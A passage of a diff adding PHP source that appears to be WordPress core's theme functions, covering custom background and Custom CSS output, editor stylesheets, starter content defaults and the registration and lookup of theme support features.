+		if ( ! in_array( $repeat, array( 'repeat-x', 'repeat-y', 'repeat', 'no-repeat' ), true ) ) {
+			$repeat = 'repeat';
+		}
+
+		$repeat = " background-repeat: $repeat;";
+
+		// Background Scroll.
+		$attachment = get_theme_mod( 'background_attachment', get_theme_support( 'custom-background', 'default-attachment' ) );
+
+		if ( 'fixed' !== $attachment ) {
+			$attachment = 'scroll';
+		}
+
+		$attachment = " background-attachment: $attachment;";
+
+		$style .= $image . $position . $size . $repeat . $attachment;
+	}
+?>
+<style type="text/css" id="custom-background-css">
+body.custom-background { <?php echo trim( $style ); ?> }
+</style>
+<?php
+}
+
+/**
+ * Render the Custom CSS style element.
+ *
+ * @since 4.7.0
+ */
+function wp_custom_css_cb() {
+	$styles = wp_get_custom_css();
+	if ( $styles || is_customize_preview() ) : ?>
+		<style type="text/css" id="wp-custom-css">
+			<?php echo strip_tags( $styles ); // Note that esc_html() cannot be used because `div &gt; span` is not interpreted properly. ?>
+		</style>
+	<?php endif;
+}
+
+/**
+ * Fetch the `custom_css` post for a given theme.
+ *
+ * @since 4.7.0
+ *
+ * @param string $stylesheet Optional. A theme object stylesheet name. Defaults to the current theme.
+ * @return WP_Post|null The custom_css post or null if none exists.
+ */
+function wp_get_custom_css_post( $stylesheet = '' ) {
+	if ( empty( $stylesheet ) ) {
+		$stylesheet = get_stylesheet();
+	}
+
+	$custom_css_query_vars = array(
+		'post_type'              => 'custom_css',
+		'post_status'            => get_post_stati(),
+		'name'                   => sanitize_title( $stylesheet ),
+		'posts_per_page'         => 1,
+		'no_found_rows'          => true,
+		'cache_results'          => true,
+		'update_post_meta_cache' => false,
+		'update_post_term_cache' => false,
+		'lazy_load_term_meta'    => false,
+	);
+
+	$post = null;
+	if ( get_stylesheet() === $stylesheet ) {
+		$post_id = get_theme_mod( 'custom_css_post_id' );
+
+		if ( $post_id > 0 && get_post( $post_id ) ) {
+			$post = get_post( $post_id );
+		}
+
+		// `-1` indicates no post exists; no query necessary.
+		if ( ! $post && -1 !== $post_id ) {
+			$query = new WP_Query( $custom_css_query_vars );
+			$post = $query->post;
+			/*
+			 * Cache the lookup. See wp_update_custom_css_post().
+			 * @todo This should get cleared if a custom_css post is added/removed.
+			 */
+			set_theme_mod( 'custom_css_post_id', $post ? $post->ID : -1 );
+		}
+	} else {
+		$query = new WP_Query( $custom_css_query_vars );
+		$post = $query->post;
+	}
+
+	return $post;
+}
+
+/**
+ * Fetch the saved Custom CSS content for rendering.
+ *
+ * @since 4.7.0
+ *
+ * @param string $stylesheet Optional. A theme object stylesheet name. Defaults to the current theme.
+ * @return string The Custom CSS Post content.
+ */
+function wp_get_custom_css( $stylesheet = '' ) {
+	$css = '';
+
+	if ( empty( $stylesheet ) ) {
+		$stylesheet = get_stylesheet();
+	}
+
+	$post = wp_get_custom_css_post( $stylesheet );
+	if ( $post ) {
+		$css = $post->post_content;
+	}
+
+	/**
+	 * Filters the Custom CSS Output into the <head>.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string $css        CSS pulled in from the Custom CSS CPT.
+	 * @param string $stylesheet The theme stylesheet name.
+	 */
+	$css = apply_filters( 'wp_get_custom_css', $css, $stylesheet );
+
+	return $css;
+}
+
+/**
+ * Update the `custom_css` post for a given theme.
+ *
+ * Inserts a `custom_css` post when one doesn't yet exist.
+ *
+ * @since 4.7.0
+ *
+ * @param string $css CSS, stored in `post_content`.
+ * @param array  $args {
+ *     Args.
+ *
+ *     @type string $preprocessed Pre-processed CSS, stored in `post_content_filtered`. Normally empty string. Optional.
+ *     @type string $stylesheet   Stylesheet (child theme) to update. Optional, defaults to current theme/stylesheet.
+ * }
+ * @return WP_Post|WP_Error Post on success, error on failure.
+ */
+function wp_update_custom_css_post( $css, $args = array() ) {
+	$args = wp_parse_args( $args, array(
+		'preprocessed' => '',
+		'stylesheet' => get_stylesheet(),
+	) );
+
+	$data = array(
+		'css' => $css,
+		'preprocessed' => $args['preprocessed'],
+	);
+
+	/**
+	 * Filters the `css` (`post_content`) and `preprocessed` (`post_content_filtered`) args for a `custom_css` post being updated.
+	 *
+	 * This filter can be used by plugin that offer CSS pre-processors, to store the original
+	 * pre-processed CSS in `post_content_filtered` and then store processed CSS in `post_content`.
+	 * When used in this way, the `post_content_filtered` should be supplied as the setting value
+	 * instead of `post_content` via a the `customize_value_custom_css` filter, for example:
+	 *
+	 * <code>
+	 * add_filter( 'customize_value_custom_css', function( $value, $setting ) {
+	 *     $post = wp_get_custom_css_post( $setting->stylesheet );
+	 *     if ( $post && ! empty( $post->post_content_filtered ) ) {
+	 *         $css = $post->post_content_filtered;
+	 *     }
+	 *     return $css;
+	 * }, 10, 2 );
+	 * </code>
+	 *
+	 * @since 4.7.0
+	 * @param array $data {
+	 *     Custom CSS data.
+	 *
+	 *     @type string $css          CSS stored in `post_content`.
+	 *     @type string $preprocessed Pre-processed CSS stored in `post_content_filtered`. Normally empty string.
+	 * }
+	 * @param array $args {
+	 *     The args passed into `wp_update_custom_css_post()` merged with defaults.
+	 *
+	 *     @type string $css          The original CSS passed in to be updated.
+	 *     @type string $preprocessed The original preprocessed CSS passed in to be updated.
+	 *     @type string $stylesheet   The stylesheet (theme) being updated.
+	 * }
+	 */
+	$data = apply_filters( 'update_custom_css_data', $data, array_merge( $args, compact( 'css' ) ) );
+
+	$post_data = array(
+		'post_title' => $args['stylesheet'],
+		'post_name' => sanitize_title( $args['stylesheet'] ),
+		'post_type' => 'custom_css',
+		'post_status' => 'publish',
+		'post_content' => $data['css'],
+		'post_content_filtered' => $data['preprocessed'],
+	);
+
+	// Update post if it already exists, otherwise create a new one.
+	$post = wp_get_custom_css_post( $args['stylesheet'] );
+	if ( $post ) {
+		$post_data['ID'] = $post->ID;
+		$r = wp_update_post( wp_slash( $post_data ), true );
+	} else {
+		$r = wp_insert_post( wp_slash( $post_data ), true );
+
+		if ( ! is_wp_error( $r ) ) {
+			if ( get_stylesheet() === $args['stylesheet'] ) {
+				set_theme_mod( 'custom_css_post_id', $r );
+			}
+
+			// Trigger creation of a revision. This should be removed once #30854 is resolved.
+			if ( 0 === count( wp_get_post_revisions( $r ) ) ) {
+				wp_save_post_revision( $r );
+			}
+		}
+	}
+
+	if ( is_wp_error( $r ) ) {
+		return $r;
+	}
+	return get_post( $r );
+}
+
+/**
+ * Add callback for custom TinyMCE editor stylesheets.
+ *
+ * The parameter $stylesheet is the name of the stylesheet, relative to
+ * the theme root. It also accepts an array of stylesheets.
+ * It is optional and defaults to 'editor-style.css'.
+ *
+ * This function automatically adds another stylesheet with -rtl prefix, e.g. editor-style-rtl.css.
+ * If that file doesn't exist, it is removed before adding the stylesheet(s) to TinyMCE.
+ * If an array of stylesheets is passed to add_editor_style(),
+ * RTL is only added for the first stylesheet.
+ *
+ * Since version 3.4 the TinyMCE body has .rtl CSS class.
+ * It is a better option to use that class and add any RTL styles to the main stylesheet.
+ *
+ * @since 3.0.0
+ *
+ * @global array $editor_styles
+ *
+ * @param array|string $stylesheet Optional. Stylesheet name or array thereof, relative to theme root.
+ * 	                               Defaults to 'editor-style.css'
+ */
+function add_editor_style( $stylesheet = 'editor-style.css' ) {
+	add_theme_support( 'editor-style' );
+
+	if ( ! is_admin() )
+		return;
+
+	global $editor_styles;
+	$editor_styles = (array) $editor_styles;
+	$stylesheet    = (array) $stylesheet;
+	if ( is_rtl() ) {
+		$rtl_stylesheet = str_replace('.css', '-rtl.css', $stylesheet[0]);
+		$stylesheet[] = $rtl_stylesheet;
+	}
+
+	$editor_styles = array_merge( $editor_styles, $stylesheet );
+}
+
+/**
+ * Removes all visual editor stylesheets.
+ *
+ * @since 3.1.0
+ *
+ * @global array $editor_styles
+ *
+ * @return bool True on success, false if there were no stylesheets to remove.
+ */
+function remove_editor_styles() {
+	if ( ! current_theme_supports( 'editor-style' ) )
+		return false;
+	_remove_theme_support( 'editor-style' );
+	if ( is_admin() )
+		$GLOBALS['editor_styles'] = array();
+	return true;
+}
+
+/**
+ * Retrieve any registered editor stylesheets
+ *
+ * @since 4.0.0
+ *
+ * @global array $editor_styles Registered editor stylesheets
+ *
+ * @return array If registered, a list of editor stylesheet URLs.
+ */
+function get_editor_stylesheets() {
+	$stylesheets = array();
+	// load editor_style.css if the current theme supports it
+	if ( ! empty( $GLOBALS['editor_styles'] ) && is_array( $GLOBALS['editor_styles'] ) ) {
+		$editor_styles = $GLOBALS['editor_styles'];
+
+		$editor_styles = array_unique( array_filter( $editor_styles ) );
+		$style_uri = get_stylesheet_directory_uri();
+		$style_dir = get_stylesheet_directory();
+
+		// Support externally referenced styles (like, say, fonts).
+		foreach ( $editor_styles as $key => $file ) {
+			if ( preg_match( '~^(https?:)?//~', $file ) ) {
+				$stylesheets[] = esc_url_raw( $file );
+				unset( $editor_styles[ $key ] );
+			}
+		}
+
+		// Look in a parent theme first, that way child theme CSS overrides.
+		if ( is_child_theme() ) {
+			$template_uri = get_template_directory_uri();
+			$template_dir = get_template_directory();
+
+			foreach ( $editor_styles as $key => $file ) {
+				if ( $file && file_exists( "$template_dir/$file" ) ) {
+					$stylesheets[] = "$template_uri/$file";
+				}
+			}
+		}
+
+		foreach ( $editor_styles as $file ) {
+			if ( $file && file_exists( "$style_dir/$file" ) ) {
+				$stylesheets[] = "$style_uri/$file";
+			}
+		}
+	}
+
+	/**
+	 * Filters the array of stylesheets applied to the editor.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param array $stylesheets Array of stylesheets to be applied to the editor.
+	 */
+	return apply_filters( 'editor_stylesheets', $stylesheets );
+}
+
+/**
+ * Expand a theme's starter content configuration using core-provided data.
+ *
+ * @since 4.7.0
+ *
+ * @return array Array of starter content.
+ */
+function get_theme_starter_content() {
+	$theme_support = get_theme_support( 'starter-content' );
+	if ( is_array( $theme_support ) && ! empty( $theme_support[0] ) && is_array( $theme_support[0] ) ) {
+		$config = $theme_support[0];
+	} else {
+		$config = array();
+	}
+
+	$core_content = array(
+		'widgets' => array(
+			'text_business_info' => array( 'text', array(
+				'title' => _x( 'Find Us', 'Theme starter content' ),
+				'text' => join( '', array(
+					'<strong>' . _x( 'Address', 'Theme starter content' ) . "</strong>\n",
+					_x( '123 Main Street', 'Theme starter content' ) . "\n" . _x( 'New York, NY 10001', 'Theme starter content' ) . "\n\n",
+					'<strong>' . _x( 'Hours', 'Theme starter content' ) . "</strong>\n",
+					_x( 'Monday&mdash;Friday: 9:00AM&ndash;5:00PM', 'Theme starter content' ) . "\n" . _x( 'Saturday &amp; Sunday: 11:00AM&ndash;3:00PM', 'Theme starter content' )
+				) ),
+				'filter' => true,
+				'visual' => true,
+			) ),
+			'text_about' => array( 'text', array(
+				'title' => _x( 'About This Site', 'Theme starter content' ),
+				'text' => _x( 'This may be a good place to introduce yourself and your site or include some credits.', 'Theme starter content' ),
+				'filter' => true,
+				'visual' => true,
+			) ),
+			'archives' => array( 'archives', array(
+				'title' => _x( 'Archives', 'Theme starter content' ),
+			) ),
+			'calendar' => array( 'calendar', array(
+				'title' => _x( 'Calendar', 'Theme starter content' ),
+			) ),
+			'categories' => array( 'categories', array(
+				'title' => _x( 'Categories', 'Theme starter content' ),
+			) ),
+			'meta' => array( 'meta', array(
+				'title' => _x( 'Meta', 'Theme starter content' ),
+			) ),
+			'recent-comments' => array( 'recent-comments', array(
+				'title' => _x( 'Recent Comments', 'Theme starter content' ),
+			) ),
+			'recent-posts' => array( 'recent-posts', array(
+				'title' => _x( 'Recent Posts', 'Theme starter content' ),
+			) ),
+			'search' => array( 'search', array(
+				'title' => _x( 'Search', 'Theme starter content' ),
+			) ),
+		),
+		'nav_menus' => array(
+			'link_home' => array(
+				'type' => 'custom',
+				'title' => _x( 'Home', 'Theme starter content' ),
+				'url' => home_url( '/' ),
+			),
+			'page_home' => array( // Deprecated in favor of link_home.
+				'type' => 'post_type',
+				'object' => 'page',
+				'object_id' => '{{home}}',
+			),
+			'page_about' => array(
+				'type' => 'post_type',
+				'object' => 'page',
+				'object_id' => '{{about}}',
+			),
+			'page_blog' => array(
+				'type' => 'post_type',
+				'object' => 'page',
+				'object_id' => '{{blog}}',
+			),
+			'page_news' => array(
+				'type' => 'post_type',
+				'object' => 'page',
+				'object_id' => '{{news}}',
+			),
+			'page_contact' => array(
+				'type' => 'post_type',
+				'object' => 'page',
+				'object_id' => '{{contact}}',
+			),
+
+			'link_email' => array(
+				'title' => _x( 'Email', 'Theme starter content' ),
+				'url' => 'mailto:wordpress@example.com',
+			),
+			'link_facebook' => array(
+				'title' => _x( 'Facebook', 'Theme starter content' ),
+				'url' => 'https://www.facebook.com/wordpress',
+			),
+			'link_foursquare' => array(
+				'title' => _x( 'Foursquare', 'Theme starter content' ),
+				'url' => 'https://foursquare.com/',
+			),
+			'link_github' => array(
+				'title' => _x( 'GitHub', 'Theme starter content' ),
+				'url' => 'https://github.com/wordpress/',
+			),
+			'link_instagram' => array(
+				'title' => _x( 'Instagram', 'Theme starter content' ),
+				'url' => 'https://www.instagram.com/explore/tags/wordcamp/',
+			),
+			'link_linkedin' => array(
+				'title' => _x( 'LinkedIn', 'Theme starter content' ),
+				'url' => 'https://www.linkedin.com/company/1089783',
+			),
+			'link_pinterest' => array(
+				'title' => _x( 'Pinterest', 'Theme starter content' ),
+				'url' => 'https://www.pinterest.com/',
+			),
+			'link_twitter' => array(
+				'title' => _x( 'Twitter', 'Theme starter content' ),
+				'url' => 'https://twitter.com/wordpress',
+			),
+			'link_yelp' => array(
+				'title' => _x( 'Yelp', 'Theme starter content' ),
+				'url' => 'https://www.yelp.com',
+			),
+			'link_youtube' => array(
+				'title' => _x( 'YouTube', 'Theme starter content' ),
+				'url' => 'https://www.youtube.com/channel/UCdof4Ju7amm1chz1gi1T2ZA',
+			),
+		),
+		'posts' => array(
+			'home' => array(
+				'post_type' => 'page',
+				'post_title' => _x( 'Home', 'Theme starter content' ),
+				'post_content' => _x( 'Welcome to your site! This is your homepage, which is what most visitors will see when they come to your site for the first time.', 'Theme starter content' ),
+			),
+			'about' => array(
+				'post_type' => 'page',
+				'post_title' => _x( 'About', 'Theme starter content' ),
+				'post_content' => _x( 'You might be an artist who would like to introduce yourself and your work here or maybe you&rsquo;re a business with a mission to describe.', 'Theme starter content' ),
+			),
+			'contact' => array(
+				'post_type' => 'page',
+				'post_title' => _x( 'Contact', 'Theme starter content' ),
+				'post_content' => _x( 'This is a page with some basic contact information, such as an address and phone number. You might also try a plugin to add a contact form.', 'Theme starter content' ),
+			),
+			'blog' => array(
+				'post_type' => 'page',
+				'post_title' => _x( 'Blog', 'Theme starter content' ),
+			),
+			'news' => array(
+				'post_type' => 'page',
+				'post_title' => _x( 'News', 'Theme starter content' ),
+			),
+
+			'homepage-section' => array(
+				'post_type' => 'page',
+				'post_title' => _x( 'A homepage section', 'Theme starter content' ),
+				'post_content' => _x( 'This is an example of a homepage section. Homepage sections can be any page other than the homepage itself, including the page that shows your latest blog posts.', 'Theme starter content' ),
+			),
+		),
+	);
+
+	$content = array();
+
+	foreach ( $config as $type => $args ) {
+		switch( $type ) {
+			// Use options and theme_mods as-is.
+			case 'options' :
+			case 'theme_mods' :
+				$content[ $type ] = $config[ $type ];
+				break;
+
+			// Widgets are grouped into sidebars.
+			case 'widgets' :
+				foreach ( $config[ $type ] as $sidebar_id => $widgets ) {
+					foreach ( $widgets as $id => $widget ) {
+						if ( is_array( $widget ) ) {
+
+							// Item extends core content.
+							if ( ! empty( $core_content[ $type ][ $id ] ) ) {
+								$widget = array(
+									$core_content[ $type ][ $id ][0],
+									array_merge( $core_content[ $type ][ $id ][1], $widget ),
+								);
+							}
+
+							$content[ $type ][ $sidebar_id ][] = $widget;
+						} elseif ( is_string( $widget ) && ! empty( $core_content[ $type ] ) && ! empty( $core_content[ $type ][ $widget ] ) ) {
+							$content[ $type ][ $sidebar_id ][] = $core_content[ $type ][ $widget ];
+						}
+					}
+				}
+				break;
+
+			// And nav menu items are grouped into nav menus.
+			case 'nav_menus' :
+				foreach ( $config[ $type ] as $nav_menu_location => $nav_menu ) {
+
+					// Ensure nav menus get a name.
+					if ( empty( $nav_menu['name'] ) ) {
+						$nav_menu['name'] = $nav_menu_location;
+					}
+
+					$content[ $type ][ $nav_menu_location ]['name'] = $nav_menu['name'];
+
+					foreach ( $nav_menu['items'] as $id => $nav_menu_item ) {
+						if ( is_array( $nav_menu_item ) ) {
+
+							// Item extends core content.
+							if ( ! empty( $core_content[ $type ][ $id ] ) ) {
+								$nav_menu_item = array_merge( $core_content[ $type ][ $id ], $nav_menu_item );
+							}
+
+							$content[ $type ][ $nav_menu_location ]['items'][] = $nav_menu_item;
+						} elseif ( is_string( $nav_menu_item ) && ! empty( $core_content[ $type ] ) && ! empty( $core_content[ $type ][ $nav_menu_item ] ) ) {
+							$content[ $type ][ $nav_menu_location ]['items'][] = $core_content[ $type ][ $nav_menu_item ];
+						}
+					}
+				}
+				break;
+
+			// Attachments are posts but have special treatment.
+			case 'attachments' :
+				foreach ( $config[ $type ] as $id => $item ) {
+					if ( ! empty( $item['file'] ) ) {
+						$content[ $type ][ $id ] = $item;
+					}
+				}
+				break;
+
+			// All that's left now are posts (besides attachments). Not a default case for the sake of clarity and future work.
+			case 'posts' :
+				foreach ( $config[ $type ] as $id => $item ) {
+					if ( is_array( $item ) ) {
+
+						// Item extends core content.
+						if ( ! empty( $core_content[ $type ][ $id ] ) ) {
+							$item = array_merge( $core_content[ $type ][ $id ], $item );
+						}
+
+						// Enforce a subset of fields.
+						$content[ $type ][ $id ] = wp_array_slice_assoc(
+							$item,
+							array(
+								'post_type',
+								'post_title',
+								'post_excerpt',
+								'post_name',
+								'post_content',
+								'menu_order',
+								'comment_status',
+								'thumbnail',
+								'template',
+							)
+						);
+					} elseif ( is_string( $item ) && ! empty( $core_content[ $type ][ $item ] ) ) {
+						$content[ $type ][ $item ] = $core_content[ $type ][ $item ];
+					}
+				}
+				break;
+		}
+	}
+
+	/**
+	 * Filters the expanded array of starter content.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array $content Array of starter content.
+	 * @param array $config  Array of theme-specific starter content configuration.
+	 */
+	return apply_filters( 'get_theme_starter_content', $content, $config );
+}
+
+/**
+ * Registers theme support for a given feature.
+ *
+ * Must be called in the theme's functions.php file to work.
+ * If attached to a hook, it must be {@see 'after_setup_theme'}.
+ * The {@see 'init'} hook may be too late for some features.
+ *
+ * @since 2.9.0
+ * @since 3.6.0 The `html5` feature was added
+ * @since 3.9.0 The `html5` feature now also accepts 'gallery' and 'caption'
+ * @since 4.1.0 The `title-tag` feature was added
+ * @since 4.5.0 The `customize-selective-refresh-widgets` feature was added
+ * @since 4.7.0 The `starter-content` feature was added
+ * @since 5.0.0 The `responsive-embeds`, `align-wide`, `dark-editor-style`, `disable-custom-colors`,
+ *              `disable-custom-font-sizes`, `editor-color-pallete`, `editor-font-sizes`,
+ *              `editor-styles`, and `wp-block-styles` features were added.
+ *
+ * @global array $_wp_theme_features
+ *
+ * @param string $feature  The feature being added. Likely core values include 'post-formats',
+ *                         'post-thumbnails', 'html5', 'custom-logo', 'custom-header-uploads',
+ *                         'custom-header', 'custom-background', 'title-tag', 'starter-content',
+ *                         'responsive-embeds', etc.
+ * @param mixed  $args,... Optional extra arguments to pass along with certain features.
+ * @return void|bool False on failure, void otherwise.
+ */
+function add_theme_support( $feature ) {
+	global $_wp_theme_features;
+
+	if ( func_num_args() == 1 )
+		$args = true;
+	else
+		$args = array_slice( func_get_args(), 1 );
+
+	switch ( $feature ) {
+		case 'post-thumbnails':
+			// All post types are already supported.
+			if ( true === get_theme_support( 'post-thumbnails' ) ) {
+				return;
+			}
+
+			/*
+			 * Merge post types with any that already declared their support
+			 * for post thumbnails.
+			 */
+			if ( is_array( $args[0] ) && isset( $_wp_theme_features['post-thumbnails'] ) ) {
+				$args[0] = array_unique( array_merge( $_wp_theme_features['post-thumbnails'][0], $args[0] ) );
+			}
+
+			break;
+
+		case 'post-formats' :
+			if ( is_array( $args[0] ) ) {
+				$post_formats = get_post_format_slugs();
+				unset( $post_formats['standard'] );
+
+				$args[0] = array_intersect( $args[0], array_keys( $post_formats ) );
+			}
+			break;
+
+		case 'html5' :
+			// You can't just pass 'html5', you need to pass an array of types.
+			if ( empty( $args[0] ) ) {
+				// Build an array of types for back-compat.
+				$args = array( 0 => array( 'comment-list', 'comment-form', 'search-form' ) );
+			} elseif ( ! is_array( $args[0] ) ) {
+				_doing_it_wrong( "add_theme_support( 'html5' )", __( 'You need to pass an array of types.' ), '3.6.1' );
+				return false;
+			}
+
+			// Calling 'html5' again merges, rather than overwrites.
+			if ( isset( $_wp_theme_features['html5'] ) )
+				$args[0] = array_merge( $_wp_theme_features['html5'][0], $args[0] );
+			break;
+
+		case 'custom-logo':
+			if ( ! is_array( $args ) ) {
+				$args = array( 0 => array() );
+			}
+			$defaults = array(
+				'width'       => null,
+				'height'      => null,
+				'flex-width'  => false,
+				'flex-height' => false,
+				'header-text' => '',
+			);
+			$args[0] = wp_parse_args( array_intersect_key( $args[0], $defaults ), $defaults );
+
+			// Allow full flexibility if no size is specified.
+			if ( is_null( $args[0]['width'] ) && is_null( $args[0]['height'] ) ) {
+				$args[0]['flex-width']  = true;
+				$args[0]['flex-height'] = true;
+			}
+			break;
+
+		case 'custom-header-uploads' :
+			return add_theme_support( 'custom-header', array( 'uploads' => true ) );
+
+		case 'custom-header' :
+			if ( ! is_array( $args ) )
+				$args = array( 0 => array() );
+
+			$defaults = array(
+				'default-image' => '',
+				'random-default' => false,
+				'width' => 0,
+				'height' => 0,
+				'flex-height' => false,
+				'flex-width' => false,
+				'default-text-color' => '',
+				'header-text' => true,
+				'uploads' => true,
+				'wp-head-callback' => '',
+				'admin-head-callback' => '',
+				'admin-preview-callback' => '',
+				'video' => false,
+				'video-active-callback' => 'is_front_page',
+			);
+
+			$jit = isset( $args[0]['__jit'] );
+			unset( $args[0]['__jit'] );
+
+			// Merge in data from previous add_theme_support() calls.
+			// The first value registered wins. (A child theme is set up first.)
+			if ( isset( $_wp_theme_features['custom-header'] ) )
+				$args[0] = wp_parse_args( $_wp_theme_features['custom-header'][0], $args[0] );
+
+			// Load in the defaults at the end, as we need to insure first one wins.
+			// This will cause all constants to be defined, as each arg will then be set to the default.
+			if ( $jit )
+				$args[0] = wp_parse_args( $args[0], $defaults );
+
+			// If a constant was defined, use that value. Otherwise, define the constant to ensure
+			// the constant is always accurate (and is not defined later,  overriding our value).
+			// As stated above, the first value wins.
+			// Once we get to wp_loaded (just-in-time), define any constants we haven't already.
+			// Constants are lame. Don't reference them. This is just for backward compatibility.
+
+			if ( defined( 'NO_HEADER_TEXT' ) )
+				$args[0]['header-text'] = ! NO_HEADER_TEXT;
+			elseif ( isset( $args[0]['header-text'] ) )
+				define( 'NO_HEADER_TEXT', empty( $args[0]['header-text'] ) );
+
+			if ( defined( 'HEADER_IMAGE_WIDTH' ) )
+				$args[0]['width'] = (int) HEADER_IMAGE_WIDTH;
+			elseif ( isset( $args[0]['width'] ) )
+				define( 'HEADER_IMAGE_WIDTH', (int) $args[0]['width'] );
+
+			if ( defined( 'HEADER_IMAGE_HEIGHT' ) )
+				$args[0]['height'] = (int) HEADER_IMAGE_HEIGHT;
+			elseif ( isset( $args[0]['height'] ) )
+				define( 'HEADER_IMAGE_HEIGHT', (int) $args[0]['height'] );
+
+			if ( defined( 'HEADER_TEXTCOLOR' ) )
+				$args[0]['default-text-color'] = HEADER_TEXTCOLOR;
+			elseif ( isset( $args[0]['default-text-color'] ) )
+				define( 'HEADER_TEXTCOLOR', $args[0]['default-text-color'] );
+
+			if ( defined( 'HEADER_IMAGE' ) )
+				$args[0]['default-image'] = HEADER_IMAGE;
+			elseif ( isset( $args[0]['default-image'] ) )
+				define( 'HEADER_IMAGE', $args[0]['default-image'] );
+
+			if ( $jit && ! empty( $args[0]['default-image'] ) )
+				$args[0]['random-default'] = false;
+
+			// If headers are supported, and we still don't have a defined width or height,
+			// we have implicit flex sizes.
+			if ( $jit ) {
+				if ( empty( $args[0]['width'] ) && empty( $args[0]['flex-width'] ) )
+					$args[0]['flex-width'] = true;
+				if ( empty( $args[0]['height'] ) && empty( $args[0]['flex-height'] ) )
+					$args[0]['flex-height'] = true;
+			}
+
+			break;
+
+		case 'custom-background' :
+			if ( ! is_array( $args ) )
+				$args = array( 0 => array() );
+
+			$defaults = array(
+				'default-image'          => '',
+				'default-preset'         => 'default',
+				'default-position-x'     => 'left',
+				'default-position-y'     => 'top',
+				'default-size'           => 'auto',
+				'default-repeat'         => 'repeat',
+				'default-attachment'     => 'scroll',
+				'default-color'          => '',
+				'wp-head-callback'       => '_custom_background_cb',
+				'admin-head-callback'    => '',
+				'admin-preview-callback' => '',
+			);
+
+			$jit = isset( $args[0]['__jit'] );
+			unset( $args[0]['__jit'] );
+
+			// Merge in data from previous add_theme_support() calls. The first value registered wins.
+			if ( isset( $_wp_theme_features['custom-background'] ) )
+				$args[0] = wp_parse_args( $_wp_theme_features['custom-background'][0], $args[0] );
+
+			if ( $jit )
+				$args[0] = wp_parse_args( $args[0], $defaults );
+
+			if ( defined( 'BACKGROUND_COLOR' ) )
+				$args[0]['default-color'] = BACKGROUND_COLOR;
+			elseif ( isset( $args[0]['default-color'] ) || $jit )
+				define( 'BACKGROUND_COLOR', $args[0]['default-color'] );
+
+			if ( defined( 'BACKGROUND_IMAGE' ) )
+				$args[0]['default-image'] = BACKGROUND_IMAGE;
+			elseif ( isset( $args[0]['default-image'] ) || $jit )
+				define( 'BACKGROUND_IMAGE', $args[0]['default-image'] );
+
+			break;
+
+		// Ensure that 'title-tag' is accessible in the admin.
+		case 'title-tag' :
+			// Can be called in functions.php but must happen before wp_loaded, i.e. not in header.php.
+			if ( did_action( 'wp_loaded' ) ) {
+				/* translators: 1: Theme support 2: hook name */
+				_doing_it_wrong( "add_theme_support( 'title-tag' )", sprintf( __( 'Theme support for %1$s should be registered before the %2$s hook.' ),
+					'<code>title-tag</code>', '<code>wp_loaded</code>' ), '4.1.0' );
+
+				return false;
+			}
+	}
+
+	$_wp_theme_features[ $feature ] = $args;
+}
+
+/**
+ * Registers the internal custom header and background routines.
+ *
+ * @since 3.4.0
+ * @access private
+ *
+ * @global Custom_Image_Header $custom_image_header
+ * @global Custom_Background   $custom_background
+ */
+function _custom_header_background_just_in_time() {
+	global $custom_image_header, $custom_background;
+
+	if ( current_theme_supports( 'custom-header' ) ) {
+		// In case any constants were defined after an add_custom_image_header() call, re-run.
+		add_theme_support( 'custom-header', array( '__jit' => true ) );
+
+		$args = get_theme_support( 'custom-header' );
+		if ( $args[0]['wp-head-callback'] )
+			add_action( 'wp_head', $args[0]['wp-head-callback'] );
+
+		if ( is_admin() ) {
+			require_once( ABSPATH . 'wp-admin/custom-header.php' );
+			$custom_image_header = new Custom_Image_Header( $args[0]['admin-head-callback'], $args[0]['admin-preview-callback'] );
+		}
+	}
+
+	if ( current_theme_supports( 'custom-background' ) ) {
+		// In case any constants were defined after an add_custom_background() call, re-run.
+		add_theme_support( 'custom-background', array( '__jit' => true ) );
+
+		$args = get_theme_support( 'custom-background' );
+		add_action( 'wp_head', $args[0]['wp-head-callback'] );
+
+		if ( is_admin() ) {
+			require_once( ABSPATH . 'wp-admin/custom-background.php' );
+			$custom_background = new Custom_Background( $args[0]['admin-head-callback'], $args[0]['admin-preview-callback'] );
+		}
+	}
+}
+
+/**
+ * Adds CSS to hide header text for custom logo, based on Customizer setting.
+ *
+ * @since 4.5.0
+ * @access private
+ */
+function _custom_logo_header_styles() {
+	if ( ! current_theme_supports( 'custom-header', 'header-text' ) && get_theme_support( 'custom-logo', 'header-text' ) && ! get_theme_mod( 'header_text', true ) ) {
+		$classes = (array) get_theme_support( 'custom-logo', 'header-text' );
+		$classes = array_map( 'sanitize_html_class', $classes );
+		$classes = '.' . implode( ', .', $classes );
+
+		?>
+		<!-- Custom Logo: hide header text -->
+		<style id="custom-logo-css" type="text/css">
+			<?php echo $classes; ?> {
+				position: absolute;
+				clip: rect(1px, 1px, 1px, 1px);
+			}
+		</style>
+	<?php
+	}
+}
+
+/**
+ * Gets the theme support arguments passed when registering that support
+ *
+ * @since 3.1.0
+ *
+ * @global array $_wp_theme_features
+ *
+ * @param string $feature the feature to check
+ * @return mixed The array of extra arguments or the value for the registered feature.
+ */
+function get_theme_support( $feature ) {
+	global $_wp_theme_features;
+	if ( ! isset( $_wp_theme_features[ $feature ] ) )
+		return false;
+
+	if ( func_num_args() <= 1 )
+		return $_wp_theme_features[ $feature ];
+
+	$args = array_slice( func_get_args(), 1 );
+	switch ( $feature ) {
+		case 'custom-logo' :
+		case 'custom-header' :
+		case 'custom-background' :
+			if ( isset( $_wp_theme_features[ $feature ][0][ $args[0] ] ) )
+				return $_wp_theme_features[ $feature ][0][ $args[0] ];
+			return false;
+
+		default :
+			return $_wp_theme_features[ $feature ];
+	}
+}
+
+/**
+ * Allows a theme to de-register its support of a certain feature
+ *
+ * Should be called in the theme's functions.php file. Generally would
+ * be used for child themes to override support from the parent theme.
+ *
+ * @since 3.0.0
+ * @see add_theme_support()
+ * @param string $feature the feature being added
+ * @return bool|void Whether feature was removed.
+ */
+function remove_theme_support( $feature ) {
+	// Blacklist: for internal registrations not used directly by themes.
+	if ( in_array( $feature, array( 'editor-style', 'widgets', 'menus' ) ) )
+		return false;
+
+	return _remove_theme_support( $feature );
+}
+
+/**
+ * Do not use. Removes theme support internally, ignorant of the blacklist.
+ *
+ * @access private
+ * @since 3.1.0
+ *
+ * @global array               $_wp_theme_features
+ * @global Custom_Image_Header $custom_image_header
+ * @global Custom_Background   $custom_background
+ *
+ * @param string $feature
+ */
+function _remove_theme_support( $feature ) {
+	global $_wp_theme_features;
+
+	switch ( $feature ) {
